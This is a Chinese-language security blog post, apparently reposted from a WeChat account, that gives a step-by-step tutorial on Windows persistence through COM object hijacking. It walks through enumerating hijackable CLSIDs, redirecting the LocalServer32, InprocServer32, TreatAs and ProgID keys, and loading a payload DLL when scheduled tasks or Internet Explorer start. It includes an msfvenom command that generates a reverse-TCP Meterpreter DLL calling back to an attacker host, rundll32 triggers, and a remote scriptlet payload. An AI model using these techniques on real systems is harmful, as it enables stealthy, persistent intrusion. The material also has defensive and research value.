windows持久化后门之COM (组件对象模型)劫持

admin 2024年1月23日23:20:38评论42 views字数 5278阅读17分35秒阅读模式

COM(组件对象模型)介绍

Windows COM(Component Object Model)是一种面向对象的软件组件技术,用于实现不同软件模块之间的通信和交互。COM 组件可以被其他程序调用,它们可以在不同的进程中运行,而且可以由不同的开发者编写,因此可以提高开发效率和软件复用性。COM 组件是以二进制格式存在的,而且具有自我描述的能力,可以提供接口定义和版本信息,这使得不同的程序可以通过 COM 接口进行通信,而不必了解底层的实现细节。

在 Windows 操作系统中,COM 组件是非常常见的,例如 ActiveX 控件、COM+ 组件等,它们被广泛应用于各种应用程序和系统服务中。滥用COM对象使攻击者能够代表受信任的进程执行任意代码

有多种方法可以实现代码的执行,但有几种情况COM已被用于渗透攻击场景中的持久性,横向移动和防御规避。根据恶意代码将如何执行,COM劫持期间使用各种注册表子键。这些是:

  • InprocServer/InprocServer32

  • LocalServer/LocalServer32

  • TreatAs

  • ProgID

上述子键位于以下注册表配置下:

  • HKEY_CURRENT_USERSoftwareClassesCLSID

  • HKEY_LOCAL_MACHINESoftwareClassesCLSID

利用工具

https://github.com/nccgroup/Accomplice

https://github.com/enigma0x3/Misc-PowerShell-Stuff/blob/master/Get-ScheduledTaskComHandler.ps1

https://github.com/3gstudent/COM-Object-hijacking

https://github.com/tyranid/oleviewdotnet

持久化思路

发现COM Keys – Hijack

识别可用于进行COM劫持的COM Keys,需要使用Process Monitor 来发现缺少CLSID且不需要提升权限(HKCU)的COM服务器。Process Monitor 可以配置以下过滤器:

  • Operation is RegOpenKey

  • Result is NAME NOT FOUND

  • Path ends with InprocServer32

  • Exclude if path starts with HKLM

windows持久化后门之COM (组件对象模型)劫持

像标准用户一样打开文件和执行任务将产生一个包含COM键的列表,这些键可以被劫持,以便将任意库加载到受信任的进程。

windows持久化后门之COM (组件对象模型)劫持

结果可以直接使用CSV或XML导出

windows持久化后门之COM (组件对象模型)劫持

github上开源的com hijacking. acCOMplice项目中 PowerShell脚本包含一个函数Extract-HijackableKeysFromProcmonCSV,该函数可以以CSV格式获取进程监视器结果,以提取可能被劫持的密钥。

windows持久化后门之COM (组件对象模型)劫持

Shell
Extract-HijackableKeysFromProcmonCSV -CSVfile .pentestlab.CSV

该工具还有一个功能,可以直接检索系统上存在的缺失库及其CLSID。

Shell
Find-MissingLibraries

windows持久化后门之COM (组件对象模型)劫持

另一种方法是执行以下PowerShell片段,这可用于枚举可能被劫持的"LocalServer32"类:

Shell
$inproc = gwmi Win32_COMSetting | ?{ $_.LocalServer32 -ne $null }
$inproc | ForEach {$_.LocalServer32} > values.txt
$paths = gc .values.txt
foreach ($p in $paths){$p;cmd /c dir $p > $null}

windows持久化后门之COM (组件对象模型)劫持

同样,以下PowerShell代码可以枚举InprocServer32类:

Shell
$inproc = gwmi Win32_COMSetting | ?{ $_.InprocServer32 -ne $null }
$paths = $inproc | ForEach {$_.InprocServer32}
foreach ($p in $paths){$p;cmd /c dir $p > $null}

windows持久化后门之COM (组件对象模型)劫持

执行代码片段将生成一个COM库列表,可以获取到COM劫持的dll信息。

windows持久化后门之COM (组件对象模型)劫持

发现COM Keys - 计划任务

开源github脚本:https://github.com/enigma0x3/Misc-PowerShell-Stuff

windows持久化后门之COM (组件对象模型)劫持

可以检查主机上所有在用户登录时执行的计划任务,并且获取到容易受到COM劫持的计划任务

windows持久化后门之COM (组件对象模型)劫持

参数“PersistenceLocations”将检索易受COM劫持的计划任务,这些任务可用于持久性,并且它们不需要提升的权限。CLSID和相关DLL也将显示在输出中。

Shell
Get-ScheduledTaskComHandler -PersistenceLocations

windows持久化后门之COM (组件对象模型)劫持

调用任务"CacheTask"时使用"wininet. dll"并具有以下CLSID:{0358B920-0AC7-461F-98F4-58E32CD89148}

windows持久化后门之COM (组件对象模型)劫持

CLSID和关联的DLL也可以从任务的配置文件中获取,该文件存储在以下位置:

Shell
C:WindowsSystem32TasksMicrosoftWindowsWininetCacheTask

windows持久化后门之COM (组件对象模型)劫持



或者,使用下面的参数从PowerShell控制台调用“schtask”实用程序也可以检索文件的内容。

Shell
schtasks /query /XML /TN "MicrosoftWindowsWininetCacheTask"

windows持久化后门之COM (组件对象模型)劫持

查看任务调度程序将验证任务触发器是否在任何用户登录期间启动。劫持CLSID将在系统上建立持久性条件。

windows持久化后门之COM (组件对象模型)劫持

LocalServer32利用

LocalServer32注册表项指定外部COM对象在系统上的位置。这些通常是具有可执行文件形式的应用程序。下面的COM类ID在枚举可劫持键期间已经被检索到,可以用来执行任意可执行文件。

Shell
HKEY_CLASSES_ROOTCLSID{45EAE363-122A-445A-97B6-3DE890E786F8}LocalServer32

windows持久化后门之COM (组件对象模型)劫持



将应用程序的默认值替换为任意可执行文件在磁盘上的位置将实现劫持。

windows持久化后门之COM (组件对象模型)劫持

还需要通过执行以下PowerShell命令激活ClassID,否则将禁用COM对象。

Shell
[activator]::CreateInstance([type]::GetTypeFromCLSID("45EAE363-122A-445A-97B6-3DE890E786F8"))

windows持久化后门之COM (组件对象模型)劫持

当调用COM对象时,任意可执行文件将运行,并且将与命令和控制系统建立会话。

windows持久化后门之COM (组件对象模型)劫持

InprocServer32利用

"InprocServer32"(进程内服务器)注册表项指示COM库在磁盘上的位置并定义线程模型。下图演示了通常存在于"InprocServer32"中的注册表项。

windows持久化后门之COM (组件对象模型)劫持

在HKCU中为上面发现的“缓存任务”重新创建注册表项结构,并指向任意DLL而不是“wininet. dll”,将执行代码,因为HKCU中的DLL将在HKLM之前加载。

Shell
HKEY_LOCAL_MACHINESOFTWAREClassesCLSID{0358b920-0ac7-461f-98f4-58e32cd89148}InProcServer32

windows持久化后门之COM (组件对象模型)劫持

下面的DLL文件将创建一个消息框,该消息框将演示一条消息,以指示在进程“缓存任务”启动时代码已经执行。

Shell
#include "pch.h"
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
MessageBox(0, L"Pentestlab COM Hijacking" , 0, 0);
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break ;
}
return TRUE;
}

windows持久化后门之COM (组件对象模型)劫持

需要将DLL放入磁盘,并且子键“InprocServer32”需要指向DLL的位置。

windows持久化后门之COM (组件对象模型)劫持

由于"CacheTask"在默认情况下计划在登录期间启动,任何用户代码都将跨登录永久执行(持久性)。

windows持久化后门之COM (组件对象模型)劫持

Metasploit实用程序"msfvenom"也可以通过执行以下命令生成恶意DLL:

Shell
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=5555 -f dll > pentestlab.dll

windows持久化后门之COM (组件对象模型)劫持

用Metasploit在发生劫持的同一注册表路径上生成的DLL替换以前的DLL。

windows持久化后门之COM (组件对象模型)劫持

每次用户登录目标系统时,都将执行代码并建立Meterpreter会话。

windows持久化后门之COM (组件对象模型)劫持

也可以执行无文件负载,如scriptlet,而不是DLL文件。

Shell



<>

"ScriptletURL"注册表项定义了任意. sct文件的远程位置,该文件将在调用COM类时被获取和执行。

windows持久化后门之COM (组件对象模型)劫持

执行以下命令将调用COM类并直接执行有效负载。

Shell
rundll32.exe -sta {AAAA1111-0000-0000-0000-0000FEEDACDC}

windows持久化后门之COM (组件对象模型)劫持



windows持久化后门之COM (组件对象模型)劫持

TreatAs/ProgID利用

TreatAs是一个注册表项,允许另一个CLSID模拟一个CLSID。这可用于将COM对象重定向到另一个COM对象

滥用“TreatAs”包括以下两个步骤:

  1. 使用目标COM服务器在HKCU注册表配置单元中创建恶意CLSID。

  2. 通过添加指向恶意CLSID的"TreatAs"子项来劫持合法CLSID。

ProgID”是COM对象的友好名称,它不是唯一的。以下注册表项将ProgID解析为CLSID。

  • HKCUSoftwareClasses

  • HKLMSoftwareClasses

这意味着当应用程序(客户端)激活COM对象(类)时,操作系统将通过最初读取以下注册表位置来解析相关的ProgID

HKCUSoftwareClassesProgID

可以通过它的“ProgID”或“TreatAs”子键来执行规避

windows持久化后门之COM (组件对象模型)劫持

该文件将创建用于劫持有效CLSID的所需注册表项。执行下面的命令将文件导入注册表

Shell
reg import TreatAsPersistence.reg

windows持久化后门之COM (组件对象模型)劫持

带有"-sta"(单线程单元)开关的"rundll32"实用程序可用于调用恶意的"TreatAs"CLSID或"ProID"。

Shell
rundll32 -sta {00000001-0000-0000-0000-0000FEEDACDC}
rundll32 -sta "secpentest"

windows持久化后门之COM (组件对象模型)劫持

在这两种情况下,任意代码都成功执行并打开会话。

windows持久化后门之COM (组件对象模型)劫持

InprocServer32-Internet Explorer利用

Internet Explorer在企业环境中被频繁使用,因为它提供了与具有Web界面的内部应用程序的兼容性

对COMpfunRAT的分析表明,威胁行为者劫持了一个合法的COM对象,以便在调用Internet Explorer进程时在系统上建立持久性。

这是因为Internet Explorer与许多其他Windows应用程序一样,在进程启动时使用以下文件“api-ms-win-downlevel-1×64-l1-0._dl”或“api-ms-win-downlevel-1×86-l1-0._dl”。该文件可以在以下Windows位置找到:

Shell
%APPDATA%MicrosoftInstaller{BCDE0395-E52F-467C-8E3D-C4579291692E}

可以使用COM对象劫持持久性PowerShell脚本作为这种技术的概念证明,执行该脚本将创建所需的文件夹结构,并将对主机的体系结构执行检查,以便进行必要的注册表修改。

Shell
Import-Module '.COM Object hijacking persistence.ps1

windows持久化后门之COM (组件对象模型)劫持

当进程“iexpl. exe”启动时,计算器将启动,这将证明劫持是成功的。

windows持久化后门之COM (组件对象模型)劫持

使用Metasploit实用程序“msfvenom”生成任意DLL并替换. dl文件以建立Meterpreter会话也很简单。

windows持久化后门之COM (组件对象模型)劫持

在注册表中手动创建以下CLSID,并修改键以指向系统上DLL的位置。

windows持久化后门之COM (组件对象模型)劫持

当Internet Explorer再次启动时,DLL文件将在受信任的进程下加载。

windows持久化后门之COM (组件对象模型)劫持

将打开一个Meterpreter会话,这将证明已经实现了持久性。需要注意的是,直接使用Metasploit生成的DLL可能会导致系统不稳定,Internet Explorer可能会作为进程运行但未打开。这是因为CAccPropServiceClass()将被多次调用,因此需要对DLL文件进行进一步优化。

windows持久化后门之COM (组件对象模型)劫持

原文始发于微信公众号(暴暴的皮卡丘):windows持久化后门之COM (组件对象模型)劫持

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年1月23日23:20:38
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   windows持久化后门之COM (组件对象模型)劫持https://cn-sec.com/archives/2424317.html

发表评论

匿名网友 填写信息